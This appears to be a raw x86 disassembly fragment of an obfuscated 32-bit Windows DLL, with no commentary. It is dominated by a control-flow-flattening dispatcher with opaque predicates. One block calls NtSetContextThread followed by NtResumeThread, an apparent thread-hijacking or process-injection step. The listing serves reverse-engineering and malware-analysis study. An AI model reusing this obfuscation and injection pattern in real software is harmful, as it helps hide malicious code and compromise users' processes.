and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb71d5f7a
mov ecx, 0xf2168875
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb691a2ef
mov ecx, 0xee4c1513
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe8afa313
mov ecx, 0x9acb1416
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0xf48c4db3
sub edx, 1
sub edx, 0xf48c4db3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8afa313
mov ecx, 0x500255df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x160], 0x5079f9cb
jmp 0x1000f576
mov dword [ebp - 0x160], 0x18d4bdc5
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
sub edx, 0x1b31bf91
sub edx, 1
add edx, 0x1b31bf91
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x216d408f
mov ecx, 0x1a3bcff3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x160], 0x5d76bcca
jmp 0x1000f576
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x160], 0xdef4b1a7
jmp 0x1000f576
mov dword [ebp - 0x160], 0x9ae131e1
jmp 0x1000f576
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x160], 0x6e9b774a
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9a6bdad0
mov ecx, 0x4c7eebdd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0xae985e8f
sub edx, 1
sub edx, 0xae985e8f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x309b009
mov ecx, 0x52ee5c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x18c1de8c
mov ecx, 0xae33acc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0x4b6a6d70
sub edx, 1
sub edx, 0x4b6a6d70
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18c1de8c
mov ecx, 0x3f317a2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
add ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xfcd617eb
jmp 0x1000f576
mov dword [ebp - 0x160], 0x9e10fc61
jmp 0x1000f576
mov dword [ebp - 0x160], 0x724276af
jmp 0x1000f576
mov dword [ebp - 0x160], 0x44afba6d
jmp 0x1000f576
mov dword [ebp - 0x160], 0x4effac6d
jmp 0x1000f576
mov dword [ebp - 0x160], 0x294cad93
jmp 0x1000f576
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x160], 0x4c7eebdd
jmp 0x1000f576
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x160], 0x33278867
jmp 0x1000f576
jmp 0x1000857f